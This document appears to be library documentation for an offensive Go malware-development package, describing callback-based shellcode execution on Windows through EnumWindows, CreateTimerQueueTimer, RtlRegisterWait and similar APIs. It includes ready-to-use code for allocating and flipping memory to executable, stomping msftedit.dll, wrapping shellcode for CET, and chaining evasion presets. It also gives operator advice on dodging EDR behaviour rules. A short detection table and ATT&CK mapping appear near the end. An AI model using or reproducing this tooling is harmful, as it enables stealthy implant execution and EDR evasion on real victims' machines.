Callback-based execution

← injection index · docs/index

TL;DR

Run shellcode by handing its address to a Windows API that already takes a function pointer as part of its normal contract — EnumWindows, CreateTimerQueueTimer, CertEnumSystemStore, ReadDirectoryChangesW, RtlRegisterWait, NtNotifyChangeDirectoryFile. The OS calls the shellcode through its own dispatcher, so no Create*Thread* event fires. Local technique only — pair with a separate primitive that places the shellcode in executable memory.

Primer

Many Windows APIs accept callbacks as routine parameters: EnumWindows calls a function for every top-level window, CreateTimerQueueTimer fires one after a delay, CertEnumSystemStore invokes one per certificate store, RtlRegisterWait triggers one when a kernel object signals, and so on. If the implant aims any of those callbacks at its shellcode, Windows itself executes the shellcode as part of a documented API call.

The advantage is the absence of any thread-creation or APC-queue syscall. EDRs that monitor NtCreateThreadEx, NtQueueApcThread, or SetThreadContext see nothing. The shellcode runs on a thread that already exists (the calling thread for EnumWindows/CertEnum, the timer-queue thread for CreateTimerQueueTimer, a thread-pool worker for RtlRegisterWait).

The technique is local-only: every callback executes in the calling process. Pair with ModuleStomp or a manual VirtualAlloc(RW) + memcpy + VirtualProtect(RX) to place the shellcode in executable memory first; ExecuteCallback does not allocate.

How it works

flowchart TD
    SC[shellcode in RX page] --> Pick{CallbackMethod}
    Pick -->|EnumWindows| EW[user32!EnumWindows]
    Pick -->|CreateTimerQueue| TQ[kernel32!CreateTimerQueueTimer]
    Pick -->|CertEnumSystemStore| CE[crypt32!CertEnumSystemStore]
    Pick -->|ReadDirectoryChanges| RD[kernel32!ReadDirectoryChangesW]
    Pick -->|RtlRegisterWait| RW[ntdll!RtlRegisterWait]
    Pick -->|NtNotifyChangeDirectory| NC[ntdll!NtNotifyChangeDirectoryFile]
    EW --> CALL[Windows calls shellcode<br>as a normal API callback]
    TQ --> CALL
    CE --> CALL
    RD --> CALL
    RW --> CALL
    NC --> CALL

The package selects the correct call shape and parameters for each method. EnumWindows and CertEnumSystemStore invoke the shellcode synchronously; CreateTimerQueueTimer fires it on the timer thread with WT_EXECUTEINTIMERTHREAD; RtlRegisterWait and NtNotifyChangeDirectoryFile deliver it via a thread-pool worker or APC dispatcher.

[!IMPORTANT] CET enforcement — on Windows 11 with ProcessUserShadowStackPolicy enabled, two of the six methods (CallbackRtlRegisterWait, CallbackNtNotifyChangeDirectory) require the shellcode to start with the ENDBR64 instruction (F3 0F 1E FA) or the kernel terminates the process with STATUS_STACK_BUFFER_OVERRUN.

The package now ships a CET-aware helper that handles this automatically:

// Auto-prepends ENDBR64 when MethodEnforcesCET(method) AND cet.Enforced().
err := inject.ExecuteCallbackBytes(shellcode, inject.CallbackRtlRegisterWait)

ExecuteCallbackBytes(sc, method) checks MethodEnforcesCET(method) and cet.Enforced() and, when both hold, calls cet.Wrap(sc) before allocating + invoking ExecuteCallback. On non-CET hosts it's equivalent to a plain alloc + ExecuteCallback chain.

Operators who want manual control still call evasion/cet.Wrap(sc) themselves and feed the result to ExecuteCallback(addr, method), or evasion/cet.Disable() once at start-up to opt the whole process out.

API Reference

inject.CallbackMethod

godoc

Enum identifying which API the dispatcher routes through. Values:

ConstantAPIThread contextCET-affected
CallbackEnumWindowsuser32!EnumWindowscalling threadno
CallbackCreateTimerQueuekernel32!CreateTimerQueueTimertimer threadno
CallbackCertEnumSystemStorecrypt32!CertEnumSystemStorecalling threadno
CallbackReadDirectoryChangeskernel32!ReadDirectoryChangesWcalling thread (sync)no
CallbackRtlRegisterWaitntdll!RtlRegisterWaitthread-pool workeryes
CallbackNtNotifyChangeDirectoryntdll!NtNotifyChangeDirectoryFileAPC dispatcheryes

inject.ExecuteCallback(addr uintptr, method CallbackMethod) error

godoc

Invoke the shellcode at addr through the chosen callback API.

Parameters:

  • addr — pointer to executable memory holding the shellcode. The caller must have placed it there beforehand (RX-protected).
  • method — one of the CallbackMethod constants.

Returns: error — propagates the underlying API error, plus a sentinel for unknown methods.

Side effects: depends on the chosen method — CreateTimerQueueTimer allocates a timer queue, ReadDirectoryChangesW opens C:\Windows\Temp, CertEnumSystemStore enumerates certificate stores. None of the callback APIs persist state after the call returns.

OPSEC: very low signal on thread-creation telemetry; medium on behavioural telemetry — the same six APIs in known-bad-behaviour rules exist in MDE / Defender catalogues.

Examples

import "github.com/oioio-space/maldev/inject"

// Auto-wraps with ENDBR64 when MethodEnforcesCET(method) AND
// cet.Enforced(). Allocates RW, copies, flips RX, calls
// ExecuteCallback. One line, no manual fiddling.
_ = inject.ExecuteCallbackBytes(shellcode, inject.CallbackRtlRegisterWait)

Simple — manual (operator-controlled allocation)

The shellcode must already be in executable memory. Use this path when the operator wants explicit control over allocation (e.g., to feed inject.ModuleStomp an image-backed region):

import (
    "unsafe"

    "github.com/oioio-space/maldev/inject"
    "golang.org/x/sys/windows"
)

addr, _ := windows.VirtualAlloc(0, uintptr(len(shellcode)),
    windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
copy(unsafe.Slice((*byte)(unsafe.Pointer(addr)), len(shellcode)), shellcode)
var old uint32
_ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &old)

_ = inject.ExecuteCallback(addr, inject.CallbackEnumWindows)

Composed (with inject.ModuleStomp)

Hide the executable region inside a legitimate System32 DLL's .text section, then trigger:

import "github.com/oioio-space/maldev/inject"

addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
return inject.ExecuteCallback(addr, inject.CallbackCreateTimerQueue)

Advanced (with CET wrapping for thread-pool callbacks)

Some callback paths require the ENDBR64 prefix on Windows 11:

import (
    "github.com/oioio-space/maldev/evasion/cet"
    "github.com/oioio-space/maldev/inject"
)

prepared := cet.Wrap(shellcode)
addr, _ := inject.ModuleStomp("msftedit.dll", prepared)
_ = inject.ExecuteCallback(addr, inject.CallbackRtlRegisterWait)

Complex (full chain — evade + stomp + callback + cleanup)

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/cet"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)
prepared := cet.Wrap(shellcode)

addr, err := inject.ModuleStomp("msftedit.dll", prepared)
if err != nil { return err }

if err := inject.ExecuteCallback(addr, inject.CallbackNtNotifyChangeDirectory); err != nil {
    return err
}

memory.SecureZero(prepared)

OPSEC & Detection

ArtefactWhere defenders look
EnumWindows callback pointing into a non-image regionEDR memory scanners (CrowdStrike, MDE Live Response) — orphan callbacks lit up
Sudden RtlRegisterWait from a non-system process with a callback in heapUserland hooks + ETW Microsoft-Windows-Threadpool
CertEnumSystemStore from a non-crypto-aware processBehavioural rule (rare; Defender flags the chain when paired with downloaded payloads)
File-watch on C:\Windows\Temp from a process that does not file-watchSysmon Event 12/13 (no direct event) but EDR file-IO baselines
RW page promoted to RX in non-image regionAllocation-protect telemetry — flag the VirtualProtect to RX

D3FEND counters:

  • D3-PCSV — verifies callback pointers against image segments.
  • D3-EAL — WDAC denies execution from non-image-backed pages.

Hardening for the operator: combine with ModuleStomp so the callback pointer falls inside a legitimate DLL's .text section; rotate CallbackMethod between runs to defeat behaviour-rule fingerprinting; never run the same EnumWindows trigger twice in a row.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: DLL Injectioncallback variant — no thread creationD3-PCSV
T1055.015Process Injection: ListPlantingCreateTimerQueueTimer familyD3-PCSV

Limitations

  • Local only. All six methods execute in the calling process. Cross-process work needs a different primitive (SectionMapInject, KernelCallbackTable).
  • ExecuteCallback does not allocate. The address must already point at RX memory. Use ExecuteCallbackBytes for the alloc-flip-call path, or pair with ModuleStomp / VirtualAlloc + VirtualProtect for image-backed memory.
  • CET on two methods, auto-handled. CallbackRtlRegisterWait and CallbackNtNotifyChangeDirectory require the ENDBR64 prefix on Win11+ with shadow stacks enforced. inject.MethodEnforcesCET(method) reports which methods need the prefix; inject.ExecuteCallbackBytes(sc, method) checks that predicate against cet.Enforced() and cet.Wraps the shellcode automatically. Operators who pre-allocate themselves must cet.Wrap (or cet.Disable once at start-up) before passing the address to ExecuteCallback.
  • Synchronous methods block. EnumWindows and CertEnumSystemStore return only after the shellcode finishes. The shellcode must return cleanly (return 0) — long-running payloads should hand off to a fiber or thread internally.
  • Thread-pool worker context. CallbackRtlRegisterWait runs on a thread the implant did not create; locked OS resources held there are unfamiliar territory.

See also